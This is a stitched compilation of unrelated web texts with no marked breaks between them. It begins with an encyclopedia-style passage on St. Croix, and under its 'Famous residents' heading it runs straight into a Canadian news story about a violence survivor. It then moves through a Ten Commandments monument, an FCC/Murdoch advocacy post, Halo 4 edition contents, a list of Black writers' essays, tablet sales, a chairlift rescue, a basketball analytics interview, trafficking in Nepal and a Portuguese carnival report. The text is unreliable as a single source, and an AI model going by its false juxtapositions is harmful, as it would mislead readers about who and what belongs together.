Although St. Croix is a U.S. territory, the U.S. Virgin Islands are maintained as a free port in a separate customs zone. Therefore, travelers to and from the contiguous United States and Puerto Rico must clear U.S. customs but do not need to present a passport, and only need proof of U.S. citizenship or nationality. The immigration status of non-U.S. citizens may be verified during this process.
Education [ edit ]
The St. Croix School District operates public schools in St. Croix.[19] There also exist multiple private schools, including St. Croix Montessori, Star Apple Montessori School, The Good Hope Country Day School, AZ Academy, St. Mary's Catholic School, Free Will Baptist, St. Croix SDA School, and The Manor School. The only colleges on the island are the University of the Virgin Islands, St. Croix campus and Barry University, which operates a physician assistant training program.
Culture [ edit ]
Festivals [ edit ]
The island's largest festival, termed "Crucian Christmas Carnival," is celebrated on St. Croix throughout late December and early January. Another significant festival is the Agricultural and Food Fair held in mid-February.
Several times a year, there is a nighttime festival in Christiansted called "Jump-Up" and a monthly event called "Sunset Jazz" in Frederiksted, where local jazz musicians play on Frederiksted Beach. Every year on the Saturday before Mardi Gras, there is a local Mardi Croix parade and a dog parade through the North Shore.
The St. Croix Half Ironman Triathlon is held in the first week of May.[20] The Triathlon includes a 1.2-mile (1.9 km) swim, a 56-mile (90 km) bike ride, and a 13.1-mile (21.1 km) run. Because the bicycle route includes a ride up an extremely steep hill known as "The Beast", this triathlon is often nicknamed "Beauty and the Beast".
A costumed carnival dancer.
Parade of costumed carnival dancers.
A costumed carnival dancer.
A costumed carnival dancer.
A Moko jumbie.
Points of interest [ edit ]
Frederiksted maintains its Victorian era architecture and original seven street by seven street city design and is host to several historic structures. Among them are St. Patrick's Catholic Church built in the 1840s and its primary school, the Customs House, the 19th Century Apothecary, and many other buildings; some of which due to hurricanes past have fallen into very scenic ruins. Frederiksted operates at a more relaxed pace than most of the island, and is more lively during Carnival in January and whenever visiting cruise ships are in port.
Salt River Bay National Historical Park and Ecological Preserve contains the only known site where members of a Columbus expedition set foot on what is now United States territory. It also preserves upland watersheds, mangrove forests, and estuarine and marine environments that support threatened and endangered species. The site is marked by Fort Salé, a remaining earthworks fortification from the French period of occupation, about 1617. The park also preserves prehistoric and colonial-era archeological sites including the only existent example of a ball court in the Caribbean. This is one of two sites on the island for bioluminescent bays (the other being Altona Lagoon).
Fort Christiansværn built in 1749 and other buildings are maintained by the National Park Service as the Christiansted National Historic Site.
Buck Island Reef National Monument preserves a 176 acres (71 ha) island just north of St. Croix and the surrounding reefs. This is a popular destination for snorkelers. Buck Island maintains a U.S. Coast Guard weather station and is also home to a student monitored lemon shark breeding ground. Green Cay (pronounced green key) is a small island located southwest of Buck Island; it is managed by the US Fish and Wildlife Service. It hosts a nearby reef popular among scuba divers and snorkelists—Tamarind Reef.
Scuba diving, snorkeling, and watersports [ edit ]
Scuba Diving in St. Croix, US Virgin Islands
Seahorse at the pier in Frederiksted.
The waters surrounding St. Croix are warm year-round, with temperatures ranging from 25 °C (77 °F) – 30 °C (86 °F), making it a popular destination for watersports including scuba diving, snorkeling, kayaking, paddleboarding, surfing, kite surfing, parasailing, jet skiing, fishing, and sailing. Two of the island's most popular underwater sites for scuba divers are the Frederiksted Pier and the drop-off into deep water at Salt River Bay National Historical Park and Ecological Preserve.
Frederiksted is known for reef diving and access to wreck diving. The western side of the island has calm waters that allow snorkeling with access from the beach. Paddleboarding is popular near Frederiksted for the same reason. The Frederiksted Pier attracts scuba divers and snorkellers, as well as those who simply jump off it.[21][22] The shallow water and sandy bottom around the pier are ideal for recreational diving by novice scuba divers in PADI Discover Scuba Diving programs (also called resort diving), for extended shore diving, night diving, and for underwater photography,[23] especially of its abundant seahorse population.[24][24][25]
A few hundred meters off the northern coast of the island, from Salt River to Cane Bay, the bottom drops suddenly into a deep trench, where coral reefs, abundant tropical fish, and migrant sea turtles may be observed. Kayaking is popular in the Salt River area as well.
The town of Christiansted, a short distance from Buck Island and Green Cay, is a former capital of the Danish West Indies. It lies just east of the northern underwater drop-off and is protected by a reef.
Bioluminescent bays [ edit ]
There are two bioluminescent bays or bio bays on St. Croix. The most widely known and visited is located at Salt River Bay National Historical Park and Ecological Preserve. A second bio bay can be found at Altona Lagoon. Bio bays are extremely rare with "only seven-year-round lagoons known to exist in the Caribbean".[26]
A combination of factors creates the necessary conditions for bioluminescence: red mangrove trees surround the water (the organisms have been related to mangrove forest,[27] although mangrove is not necessarily associated with this species).[28] A study at the bio bay located at Salt River is being conducted as of 2013 by faculty and students from the University of South Carolina, the University of North Carolina-Wilmington and the University of the Virgin Islands. Their research is focused on analyzing quality and nutrient composition of the water, the distribution of a micro-organism, the dinoflagellate Pyrodinium bahamense, which glows whenever the water is disturbed, and the abundance of "cysts", dormant dinoflagellates embedded in the sea floor.
A concurrent complementary study is being undertaken by the St. Croix Environmental Association in conjunction with Scripps Institution of Oceanography which focuses on counting the photon density of the phenomenon over time and through various conditions of weather and other impacts. Water quality and taxonomic analysis from both studies will be shared and correlated to create one of the most thorough investigations of year-round bioluminescent bays to date.
The two bio bays on St Croix have very different characteristics. The one at Altona Lagoon is large in size but is very shallow allowing one to see the various marine life swimming and agitating the water, lighting it up. The bio bay at Salt River is smaller in size but is deeper than Altona Lagoon. Because of its depth this bay is also home to a second form of bioluminescence called Ctenophora or comb-jellies, which are not found at Altona Lagoon.
A third bioluminescent organism is also found in Salt River. A species of marine Odontosyllis fireworm performs its brilliant green mating ritual within 57 hours after the full moon, females rising to the surface and leaving a luminescent green puddle for the males to race through, fertilizing the eggs.
Protected areas [ edit ]
Christiansted, looking north.
Downtown Christiansted and harbor
Old Danish Customs House, Christiansted
East End
East End
Teague Bay Beach
Canegarden Bay Beach
St. George Village Botanical Gardens
Scuba diver and sponges, Cane Bay wall
Scuba diver and sponges, Cane Bay wall
Famous residents [ edit ]
"I was overcome with awe," she recalled.
Soon after, however, she returned to the same circle of friends and her life spiralled out of control. In her 30s, her heroin habit was in full control of her life.
She was in abusive relationship, in and out of jail and homeless.
Once she got herself into Anselma House, a local women's shelter, her life changed, Smoke said. She got on methadone to kick her heroin habit, went to Conestoga College to upgrade and enrolled at UW.
"When I'm walking with the original teachings of my people, I feel balanced and at peace," said the mother of two-year-old Skye.
Emma Smith, 21, co-president of the University of Waterloo's Aboriginal Student Association, said Smoke's story encourages healing for other survivors and understanding for those who haven't experienced sexual violence.
Smith grew up in Walpole Island and is Ojibwa. She didn't experience violence but understands the fear of feeling unsafe like many women her age.
Smith, who is studying fine arts and business, said she hopes to return to her reserve to teach elementary school. She sought out the aboriginal education centre at UW because "it was a comfortable space I could connect to," she said.
Smoke hopes her story will empower others who feel they can't escape the violence.
"You can get better and be on the other side of this," she said.
But statistics tell a tragic story.
Sara Casselman, executive director of the Sexual Assault Support Centre of Waterloo Region, organizer of the Take Back the Night march, said that in 2014, Waterloo Regional Police responded to 629 calls for sexual assaults and other sexual violations.
The average is about 500 and the numbers are getting higher, but that could be because of media attention on sexual violence associated with the cases of former CBC personality Jian Ghomeshi and comedian Bill Cosby, she said.
But most often, gender-based violence is "notoriously" unreported, Casselman said.
Smoke agrees that indigenous women are more likely not to report violent crime because they feel authorities will not help them.
"No justice has been done for us," she said. "Our past historical representation makes it OK to be a victim. It's a horrifying stain for us."
The rally and march, which will be held at Kitchener City Hall Thursday at 6 p.m., is a way for survivors to speak out and break the cycle of violence, Casselman said.
"It's our role to amplify their voices, particularly those who are marginalized," she said.
Casselman said this year's rally will focus on the gender-based violence experienced by indigenous women, as well as transgenderand two-spirited indigenous women.
Casselman said she's pleased that this year's focus coincides with the launch of a national inquiry on murdered and missing indigenous women and girls.
The inquiry will examine systemic issues of violence, including poverty and cultural and historical causes of the vulnerability of indigenous women. Federal figures estimate more than 1,181 aboriginal women and girls have been murdered or are missing since 1980.
The five-person commission, led by B.C. indigenous judge Marion Buller, will have broad powers and can recommend to law enforcement that a criminal investigation be launched and compel witnesses to testify. The commission will travel from coast to coast to hear testimonies.
The United Nations and other international human rights bodies and non-governmental organizations have issued reports on indigenous women and girls who have gone missing or been murdered in Canada.
Tim Guffey told AL.com that “I’m trying to…erect a monument of historical documents. It’s the Constitution, the Ten Commandments and the Declaration of Independence. I feel like that’s what this country was founded on. These documents helped America become the greatest country in history.”
He said that the Ten Commandments were only included because of their historical value, arguing that their influence on the other documents is a matter of historical, not religious, import. “I just can’t see how you could explain a Constitution – why it was written the way it was written — without understanding why those men wrote it the way they wrote it,” he said. “I feel like taking that document out, if that document wasn’t there to guide them, then our Constitution wouldn’t be what it is today.”
“The Ten Commandments is a historical document and it has nothing to do with religion,” he continued. “It shows that these founders had great beliefs in God and the Ten Commandments and His Word and it helped them get to the point where they were. Their feeling was God helped them build the Constitution and the Declaration of Independence. If you read all of the writings of John Adams, Patrick Henry, James Madison, Thomas Jefferson, John Jay, they speak about how that was their foundation that helped them interpret and write a great Constitution.”
Guffey claimed that the monument is necessary because of the way in which the Bible has been systematically removed from education curricula. “They don’t teach this at school anymore and a person would have to go back and research and study each one of those men’s writings to find out that that’s what established them. That’s what gave them the inspiration to read the greatest Constitution this world has ever seen,” he said.
He then expressed admiration for state Supreme Court Chief Justice Roy Moore, who erected a monument to the Ten Commandments in 2001 that was taken down in 2003. However, he noted that “when Judge Moore did the monument, it was for the Ten Commandments. It was for religious purposes. And I commend him. He believed it was his right to put that up and he was going to stand on it.”
“This situation is not that situation,” Guffey insisted. “I’m trying to show people where [the historical documents] came from.”
He also told AL.com that he began studying the Constitution after the election of President Barack Obama. “If you look at the current administration,” he said, “it’s more important now than ever to show people what the intent was in the Constitution, what’s in the Constitution. We’re trying to get people to start thinking again.”
FCC Chairman Julius Genachowski is trying to change the agency’s ownership rules to pave the way for Murdoch to get control of the newspapers in the same cities where he already owns TV stations. Even more disturbing, Genachowski and Murdoch are trying to keep this under the radar, hoping we don't notice.
Rupert Murdoch, in addition to being the malignant force behind Fox News, is the lawless conservative who’s under investigation in England for phone hacking, influence peddling and bribery. Now he wants to own the Los Angeles Times and the Chicago Tribune -- major papers in the nation's second- and third-largest cities -- and the FCC wants to help him? I don't think that's a good idea. Do you?
Unsatisfied with his media empire in the UK and Australia and his several media holdings in the United States like TheWall Street Journal, the New York Post, and Fox News, Rupert Murdoch wants more. He wants a media monopoly.
Murdoch is currently jockeying to buy the Los Angeles Times and the Chicago Tribune, which just so happen to be the largest newspapers in the nation’s second and third largest cities. That will add to his current media empire in the United States, which includes the most watched cable news network in the nation, Fox so-called News, and the most circulated newspaper in the nation, The Wall Street Journal. The only thing standing in Murdoch’s way of full-spectrum media domination in America are Federal Communication Commission rules that forbid one company from owning both a newspaper and a television station in one community. Murdoch already owns local television stations in both Chicago and Los Angeles.
But according to sources within the FCC, Chairman Julius Genachowski is quietly planning to scrap those rules. Under pressure from major media moguls like Murdoch, who see big bucks and huge political power in a consolidated national and local media, Genachowski circulated a new order to other FCC Commissioners that would allow for cross-ownership of TV and newspapers in the nation’s twenty biggest media markets.
A similar effort was made in 2007 by George W. Bush’s FCC, but it was shot down after the Senate voted to repeal it and a federal court blocked it. Not to mention, 99% of the public comments the FCC received opposed that media consolidation effort.
But, undeterred, Murdoch and other media moguls kept lobbying, and now President Obama’s FCC is expected to consider these rule changes again in December. And if Americans don’t get involved in this issue and pressure the FCC to say “no,” then Murdoch and his billionaire buddies will likely get what they want, which is complete domination of our news media.
In addition to a Steelbook case for the game, which contains two DVDs, one for the singleplayer campaign and the other for multiplayer, the Halo 4 Limited Edition comes with War Games Map Packs, which provides players with access to nine exclusive multiplayer maps, the special edition of Halo 4: Forward Unto Dawn, and early access to six specializations for use in multiplayer.
The Limited Edition also holds a UNSC Infinity Briefing Packet, which includes a Spartan armor customization schematic, an introduction to the UNSC Infinity, and some insight into what it means to be a Spartan.
Players who pick up this version of the game will also gain unique in-game armor for their Spartan and a weapon skin for the Assault Rifle in addition to an in-game emblem, and XBox Live Avatar props and a Spartan IV Armor Set for Xbox Live.
Read more Black writers in 2017
Bridget Todd Blocked Unblock Follow Following Jan 3, 2017
2016 was a doozy of a year and I can’t say I’m sad to see it go. From Donald Trump becoming our next president to Prince’s death, this year was a lot. The one thing 2016 had going for it was the amount of art, writing, music, and film from Black creators. While you’re putting the final nail in the c0fin of the past year, look back at some of the best writing from Black writers in 2016.
We all know that Hillary Clinton didn’t end up winning the election, but at least we got the funniest piece of political writing of 2k16. Name-checking greats like Lisa Raye and Dr. Joyce Meyer, Bromely traces the history of the white pantsuit and posits that Clinton’s outfit choice at the Democratic National Convention was inspired by the limo scene in the classic Tina Turner movie What’s Love Got To Do With It.
Mrs. Clinton took the stage to not only bring a word from above, but to accept the nomination to be America’s first woman Commander in Chief. She spoke about the highs and lows of being in the political spotlight. The need for the family that is America to deliver a mighty blow and be that fist like Mama Joe said in Soul Food. The need to shake the devil that is Donald Trump off. And how unified, we as a country are stronger together.
And she did it all in the finest Joyce Meyer Ministries Summer collection white pantsuit money can buy.
Mary J Blige
Jones’ words are like a gut-punch as she weaves together Black women, mental health, and R&B music and the “hyper consumption” of pain.
But when Black women sing, we seem to be given permission to perform pain for others to consume. People demand that Black women singers emote suffering and go so far as to call it their “best” music. Happiness and joy don’t sell as well as suffering and crawling our ways up seemingly insurmountable hills. No, people are incredibly entertained by Black women’s suffering to the point of wishing ill upon us to see what the output will be.
One example is the Queen of Hip-Hop Soul herself, Mary J. Blige. Whenever it gets out that she is having personal struggles, be it with substance abuse, depression, or relationship drama, we immediately go to anticipating her next album because we know it’s going to be a great one. Joyful, elated Blige? No love. Check the album sales. The audience simply isn’t here for smiles and heart eyes and the hyper-consumption of the pain of artists like Blige has, ironically, created a space for Black women to openly express their brokenness, instability, and lose our tenuous grasps on reality.
In the wake of Trump winning the presidential election, some started wearing safety pins on their jackets to distinguish themselves from Trump voters. Charleston wasn’t feeling it:
To me, these pins were nothing but a way for White people who didn’t vote for Trump to let Blacks/Muslims/LGBTQs know “Hey, I didn’t vote for Trump”. It was an avenue for White people to avoid getting lumped into a monolith complied of other White people who were being considered “hate-mongers that overlooked sexual assault and racist rhetoric”, or at minimum, “White people that wanted to MAKE AMERICA GREAT AGAIN” (whatever that means).
If I can be honest, that’s the aspect of the safety pins pissed me off the most.
Part of what sucks about being a minority in this country is getting lumped into negative monoliths (aka stereotypes) ALL. THE. DAMN. TIME. For the first time, White people were getting a taste of that castor oil and immediately decided that they wanted noooooo parts of that.
I thought “That’s what this whole ‘ally’ thing is really about” and that’s why I dismissed its very existence.
Matti’s poetic ode to Beyonce’s “Lemonade” is a beautiful read and an important reminder of the power of art and Black womanhood.
Every Black woman in Lemonade has been robbed of something. Every Black girl, too. And they are owed accountability. They are owed healing. They are owed more than what the world has granted them. Lemonade sends the message that we must be vocal about this. We must not assist the world in erasing our suffering. We must honor ourselves. We must perform magic tricks. We must pull ourselves out of our own bones and help ourselves along. We must find communion in our reflections in each other. We must say: I see us.
Lemonade is for Black women because the world treats Black women as though they are difficult daughters, difficult mothers, difficult lovers, difficult friends, difficult workers, difficult strangers. They treat us like we are difficult, because it makes us easy targets. They treat us like we are difficult so that no one in the world will defend us. But now we are defending ourselves. Lemonade was an act of self-defense.
Originally a lecture given at Nerdcon, Kendall says she wrote this biting satirical piece after “a series of unfortunate thinkpieces about Black women written by people who clearly had no clue.”
Contrast them with women of other races, always making sure to highlight that other women are real women, while black women are simply black.Feel free to make blanket statements about their religious beliefs, educational levels, income levels, and family dynamics. All of it is true because you say it is, and you are the expert in black women, not any actual black women. If they are offended by your words, remind them of your credentials and refuse to engage in a conversation with them until they can be less emotional. Point to their tone as a reason to doubt the veracity of their experiences. After all they are only black women and thus they know nothing, own nothing, and are worth nothing but what you say they are.
RIP Vine, the video blogging platform that gave us such classics as “Do it for the Vine” and “Back at it again at Krispy Kreme.”
Peterson points out the bizarre beauty of the platform and how it failed the creators of color that made it popular:
Vine was a Seinfeld for the internet era: bizarre slices of life amplified to ridiculous conclusions. The most popular Viners came up with sketches and concepts based on banality. Many of those creators were people of color. As Vine flourished, small subgroups started to form: aspiring singers, not-yet-discovered comedians, visual effects artists in training, beatmakers, dancers, producers, chefs, and designers all found homes for their work on Vine. The intense mix of people provided the kind of robust ecosystem only found through diversity. Even as Vine grew in popularity and celebrities discovered the platform, it remained aggressively strange.
Sadiq’s meticulously researched deep dive into Black British R&B artists and why they never seem to get very popular in the United States when compared to white artists like Amy Winehouse and Adele is a must-read for any music fan.
We celebrate the white artist singing R&B much in the same way that we go nuts over a white person counting-by-the-number-dancing in their best Black dancer mode. (Remember how Black folk lost their shit over young, Alyson Stoner dancing in Missy’s video?) If the package is white and gives us a Black-like, Black-esque product, all the better. The industry will always back the white artist in the way that they have since the days of Elvis.
Sam Phillips, who ran Sun Records, is known for famously saying, “If I could only find a white man that had the Negro sound and Negro feel, I could make a billion dollars.” Although that proved more prophetic than fact, the formula has remained the same.
So a Black British R&B artist? They don’t stand a chance. Lianne La Havas can steal away a little niche of people who are looking for her, but she’s not going to be on your Hot or V stations. Most people will never hear of her or any of the other artist mentioned and even if they did, maybe the average Black person won’t be able to get with the eclectic style of Dornik. Maybe they’ll find Samm Henshaw too “classic.” Maybe if they listen to Izzy Bizu, aside from being turned off from anyone with the name Izzy, perhaps Cool Beanz is folksy to them. We have very fickle, trained taste now.
Both at school and in the workplace, lunchrooms can be a place where races and cultures clash. Leon recalls how television fits into that:
You grew up watching White counterparts interact with other White ones, and you witness what appears to be the token Asian or token Black, or token Latix with them, hanging on, hanging on to their words and choice in art and choice in fashion and their silence when those choices all feel very stolen and very appropriated. Everyone is a token here, everyone a transfer — all of us paying fares to make melting pots, to soak up a semblance of change and progress. I walk into lunch rooms as an adult and enjoy partaking in the game of Race Olympics, with tables and coffee machines and water coolers spread and scattered, a milieu of voices stretching across high vaulted ceilings, conversations fluttering about. We are all adding to the sounds, the tones of Power and Game of Thrones and The Bachelor and Emmy’s talk — we are all playing parts of ourselves in the marathon that is who can master the art of code switching?
You listen to the talk, and listen for the gaps, you listen for the awkward that ensues when you recognize the Black ones talk Power and Empire, the White one’s talk Game of Thrones and Stranger Things…the Asian ones talk Narco with the White ones. The lunch room becomes less of a room of voices, and takes leanings towards a cacophony of one sound drowning out the sound of the lesser. When the faces and voices do not resemble yours, you will either assimilate to meet the flavor of the pack or you thirst yourself to find the herd model that will fit your need for water. We will find who and what is in closest proximity to that in which is most aligned with our values, our biases, our histories.
Vivion’s take on Black men and intimacy is a poetic ode to the quiet love Black men share with each other:
Perhaps the most tragic and sacred thing about love between men is that it can only be recognized in its absence. Love letters that only exist in eulogies. Love songs only sung as rap memoriam. When I was in the tenth grade I saw my classmate Jamani bury his best friend Raymen, whom he had lost to gun violence. When asked how he felt about it, all he could say was “That was my brother, man. That was my brother.”
I recognized then what I had always known; men love men. But in this culture, men must love men silently. You won’t see it written down in love letters. You won’t hear it in a ballad or find it hung up in MOMA. If you do not pay close attention, you might miss it all together.
But if you look closely you may find it — a quiet but legitimate picture of men loving men, of men splitting themselves open to bleed for one another, with one another, over one another. If this is not true love, it is the truest love they have. And love, all love, can evolve. Perhaps splitting open for one another is the first step men must take before they can fall apart for another, grow into one another, grow for one another. I surely hope it is.
Fox News’ Tomi Lahren and Daily Show’s Trevor Noah came together to hash out their political differences. Dennis wasn’t impressed.
But to white people, whose lives aren’t in danger in the way Trevor Noah’s is, this was an entertaining joust that reaffirmed whatever stances they have on a multitude of issues and made them feel good about the belief that we can just talk away hatred without doing anything to actually deter it. Andonce again, the onus is placed on the black person to defend himself. If liberal white people are so delighted by the “demolition,” then they should feel just as happy to speak up and quell Lahren and her followers before she’s able to drop propaganda on a national TV audience. And damn sure before she says anything to a black person. The fact Trevor Noah was able to face Lahren on his show wasn’t as much a celebration of his ability to cordially talk to her as it was a failure by the same white people so delighted in the debate to check her and her hatred before it became a national phenomenon.
In his honest piece, a Black conservative pleads with the Republican Party to come to a better understanding of racism in America.
Conservatives need to try to understand why black people feel the way we feel about some of these things. Would it hurt for you to show compassion for a mother who has lost her son to a derelict police officer, rather than pointing out the black on black crime statistics in Chicago? Why is the first reaction to the mentioning of the KKK a pivot to the Black Panthers as if the Black Panthers were ever at the top of that figurative mountain? Have you ever tried to understand what most black people feel when they see the Confederate flag? Have you taken the time to ask any?
After a wave of policing shootings involving unarmed Black men this summer, Schumacher-Hodge provides a how-to for white bosses to be empathetic toward Black employees.
So yesterday, when my boss — a White woman in tech — empathized with me, a Black woman, that was A.VERY.BIG.DEAL. In fact, it was the first time a White colleague (and I’ve had many) has ever said anything to me aboutthe killing of a Black person in America by a White police officer — and there’s unfortunately been several opportunities for them to speak up.
The fact that a White colleague in a work setting made it a point to make a point about racial injustice in America and acknowledge the Black community’s pain, hurt, and anger over it…the fact that she didn’t just act like today was “business as usual” — that meant more to me than any free lunches, office perks, or holiday bonuses ever could.
She saw me, she saw my people, she acknowledged our pain, and she offered to help.
That means something.
In the video for Child’s Play, Aubrey Graham aka Drake, tries to court an angry Tyra Banks only to have cake smushed in his face. Deria masterfully sketches what this scene means about Black women, Black men, police violence, and the policing of Black women’s anger.
Aubrey’s attempt to tone-police Tyra also feels familiar. Tyra is too loud, taking up too much space, and she is making those around her uncomfortable by doing so. So what?! My main concern is why the hell Drake feels the need to lie and do my girl Tyra dirty like this?! Black women and femmes can march up and down streets shouting “fuck these racist ass police” in protest of the extrajudicial killings of Black men by police and vigilantes, our rhythmic expression of rage can be the fire that keeps the movement going, but if we start shouting “fuck yo tired ass lies” in protest to the male-entitled bull, we are a problem, we are childish.
After controversial rapper Azealia Banks made headlines for an altercation in actor Russell Crowe’s hotel room many dismissed her as “crazy.” But Ukoah saw her own vulnerability in Banks.
In the meantime, it is hard for me not to feel empathy for the troubled rapper even though my feelings may be displaced.
I was admittedly comforted — even excited by the prospect that she was once again having a very bad day. It’s not that I enjoy to see her suffer, it’s really the chance to confront her vulnerability as my own.
Her anger is righteous. Her pain is my opportunity to see her though it as if I am healing the physical betrayals and mental onslaught of the girl within me — who never allowed the seduction of the dark side to infect her.
Until now.
In her heartbreaking essay, Haile-Mariam recalls her early encounters with white girls, the pitfalls of sisterhood, and how she’s worked to un-learn their lessons.
I’m describing privilege — the belief ingrained in white girls and white boys, from a young age, that they are the center of the human universe. They are the sun that the rest of us circle around. When we try to form our own constellations — they don’t know how to react. They throw asteroids at our stars and anxiously count our planets to make sure they still have more. This has been my experience even among white friends with obvious goodness and grace in their hearts. This has been my experience even among spiritual circles who preach love and connection from panels and events that feature exclusively white speakers.
For me, notions of girl power and sisterhood have always come with a caveat from white women: don’t make us too uncomfortable or we’ll revoke your invitation. I learned to adapt. I’d bite my tongue. I’d hide my shine. I’d downplay my good grades and the things that came naturally to me. I learned to repress what I wanted, what I needed, and what I *really* thought. I’ve been unlearning these lessons for the better part of the last decade.
Thomas uses social media to come to the painful realization that his white classmates and neighbors were never actually his friends.
Some where between the re-election of Barack Obama and the murders of black and brown bodies at the hands of law enforcement, I saw my white friends grow comfortable in their anti-blackness. I watched them share racist right wing articles and argue who was worthy of life and humanity.
I watched my friends who I played, went to school, laughed and even occasionally got in trouble with devalue my life and reality. That hurt, it still hurts, and it will continue to hurt. I hurt most of all for that little boy who was reassured that the casual racism and discrimination he experienced was just the ignorance of few.
With 51.7 million slates shipped in the 3-month span, according to market research firm Strategy Analytics, the industry saw a 43 percent rise in shipments from the 36.1 million last year.
The main benefactor of the increased interest in tablets was Google and its partners, which have secured a 67 percent global share among the well-priced slates.
"Android is now making steady progress due to hardware partners like Samsung, Amazon, Google and White-Box tablets," said Peter King, Strategy Analytics director of tablets, in a statement.
Waiting for iPad 5, iPad mini 2
iPad shipments, meanwhile, declined 14 percent in the second quarter of this year, as Apple managed to ship just 14.6 million tablets.
"In the same quarter a year ago the first Retina display iPads [the iPad 3] were launched which could partly explain the decline as there were no new models in this quarter," noted King.
"However, to compensate that, iPad mini which was not available a year ago, now freely available was expected to take the figure higher than 14.6 million."
Consumers may be holding off on iOS tablet purchases with the expectation that Apple will launch the iPad 5 and iPad mini 2 in October.
Microsoft at 4.5 percent
Not to be forgotten, Windows-based tablets accounted for 4.5 percent of the global tablet market from April to the end of June.
Microsoft Surface tablets may see an increase in the next quarter, theorizes the marketing firm.
"There may be an uptick in Windows RT shipments in Q3 following savage price cuts by all the partners still involved in the RT Market."
"Microsoft has reduced prices by $150 and other vendors even more; they are still not cheap, but are much more where they should be to compete."
That's about a £98, AU$16 price drop, by the way.
The firm notes that the Surface is beset by other long-term problems, including a shortage of apps and little incentive for developers to work on the platform.
I'm neither a Mac nor a PC
The popularity of all tablets is taking a toll on the PC market, which is expected to switch places with tablet devices next year, according to NPD numbers found by The Next Web.
"The PC market is clearly shifting away from notebooks and toward tablets," said NPD Senior Analyst Richard Shim.
"Shipments of tablet PCs are expected to reach nearly 364 million worldwide in 2014, more than doubling the projected 177 million shipments of standard notebook PC and ultra-slim PCs."
Tablet shipments are already expected to outpace notebook computers this year, according to the same research firm.
Tristan Stead was riding the Peak Express Monday when he accidentally dropped his pole. He went to grab it, which is when something went wrong.
"The chairlift was pretty far away. So I went to grab it, and it hit me in the butt. And then my uncle Rufus grabbed me, and then it just went up," Stead .
As Stead's aunt and uncle were yelling at the operators to shut down the chairlift, Stead managed to get rid of his skis as he hung for nearly 6 minutes roughly 20 feet above the ground.
"It was scary because he was slipping through his clothes," Christopher Sakai, who filmed the tense rescue and uploaded it to YouTube, told CTV.
CTV reports the chairlift operator saw what happened, shut down the lift, grabbed a tarp and called on a half-dozen skiers to help stretch it tight beneath the child.
After a count of 1-2-3, Stead let go and landed safely in the center of the tarp.
When most baseball fans think of statistical analysis in their sport, Bill James is usually the person that comes to mind. Yet with statistical analysis growing in basketball, many fans still might not know who Dean Oliver is. You might know him as the author of the well-known book Basketball on Paper, which was released in 2003. He serves now as the Director of Quantitative Analysis for the Denver Nuggets, which is a position he’s held since 2006. Prior to that, he worked for six years as a statistical consultant to the then-Seattle SuperSonics.
Oliver’s path to the NBA isn’t like any you would imagine. Sure, he played college ball. But it was at Caltech, the academic home of NASA’s Jet Propulsion Laboratory. He served as an assistant coach there for three years after graduating, then worked for a basketball scouting service from 1990-94. Once he earned his Ph.D in using statistics to make forecasts from the University of North Carolina in ’94, he had laid down the path to eventually join the NBA.
I’ve wanted to speak with an expert in basketball quantitative analysis for some time. I felt like Oliver would be the ideal person to do that with, and I spoke with him recently about his role in statistical analysis, and how he uses his analysis to help him find the player he thinks the Nuggets needs.
SLAM: What were your expectations when you started with the Nuggets?
Dean Oliver: I actually had two seasons with the Sonics prior to that. That set my expectations with the Nuggets, a little bit. Between those two years [I was with the Sonics and Nuggets] I had time to take what I had known and done with the book on paper and apply it to more live situations. What does a coach have to answer? What does a GM have to answer? I had that. Coming in to the Nuggets, it was an opportunity to work with a little bit different people, because everyone has a different style. Working with the new group I was definitely hoping for a little bit more say-so. That’s always what you’re looking for. I was able to do that.
SLAM: When you started, did you think that your value would be reporting to the GM and owner, or did you think it might be providing info to players and coaches?
DO: I never thought about providing information directly to players, except little bits and pieces here and there. I definitely felt like there was impact for the coaches. The coaches obviously know their own team very well, and I think you can only provide some information they don’t know. Especially midway through the season. They know their guys pretty well. But they don’t know some of their players, certainly ones who may be coming from other teams. It happens every year. There is some insight that can be gained. And then there is of course the other aspect of coaches dealing with opponents on a regular basis. Any information they can get on those guys, whether it comes from an advanced scout or from numbers can help. I felt like there was significant impact from a coaching side as well as the personnel side.
SLAM: Has the acceptance of quantitative analysis in the League changed much from 2006 to now?
DO: Yes. I would definitely say so. The immediate reflection of that is the rise of the MIT conference from the analytics. I think that was the first year it ran, if I recall correctly — 2006. It was a handful of us. I think all the people who attended were able to go to the Boston Celtics game. Now, they can’t fit people in. If I have to reflect the acceptance, I think some of it is what [the media] has done, just to publicize it a little bit.
SLAM: Is quantitative analysis beyond the stage of it being just a trend?
DO: I think it’s established. It’s not established like it is in Major League Baseball. To my understanding, MLB has a pretty thorough infiltration across the league. Within the NBA, you may have half the teams that dabble a little bit, but I think it’s probably only 7-to-10 teams that have it integrated into their decision-making process. There’s an upward trend. I wouldn’t say it’s fully established.
SLAM: What are your responsibilities?
DO: My responsibilities are to help out with pretty much every aspect that numbers can. I respond to requests to coaches, I respond to requests from Masai and the other members of our management. But I also put things out there to go in certain directions based on my experience of what I think helps. I put things together with the advance scouts. I send things to them and send things to members of the coaching staff. There’s a lot of tasks that are related to numbers. It’s a numbers game. There’s so much that goes on that’s recorded. The fact that you’ve got a lot of games and a lot of history of games over 30 or 40 years, you can make inferences based on a lot of history.
SLAM: Do you have people working under you?
DO: No. Denver’s always been pretty small.
SLAM: Wow, that’s a lot of work.
Activists said risks were much higher after the quakes when traffickers or “brokers” duped devastated families who had lost their homes and breadwinners to hand over their children with the promise of a monthly salary and a good job in India.
Yet the reality is very different. Girls and women not recruited into prostitution are sold as domestic slaves in India and other countries. Boys are taken into forced labour.
Saksena said authorities provided training for more than 4,000 people, including police inspector generals, district magistrates, railway police, border forces, child protection officers and shelter home staff.
This included examining suspected trafficking routes and destination points such as train stations, border check posts and interstate bus stations.
They also focused on how to identify suspected traffickers and the proper procedures after rescues and arrests.
Comigo é na base do beijo! Foi com essa letra de uma das músicas de Ivete Sangalo que diversos casais fizeram a festa com muito romance no bloco "Cerveja & Cia", na tarde deste sábado, 6, no circuito Barra-Ondina, em Salvador. A cantora promoveu a diversidade e muitos casais gays se formaram na folia baiana.
O bloco mais esperado de Ivete Sangalo no carnaval de Salvador, o "Cerveja & Cia" - que desfilou com abadás esgotados -, fez sua passagem pelo circuito Barra-Ondina. A cantora, que levantou uma multidão na quinta, 4, no circuito Campo Grande, repetiu o feito neste sábado, 6.
Antes de subir ao trio, a cantora já conversava pelo microfone com seus fãs. Ela perguntou: "Estou gostosa?". E todos gritaram: "Muito". Foi a chance de a baiana dizer: "Malhei muito para estar bem gostosa para vocês. Autoestima é tudo viu, gente? E eu tô uma delicia!."
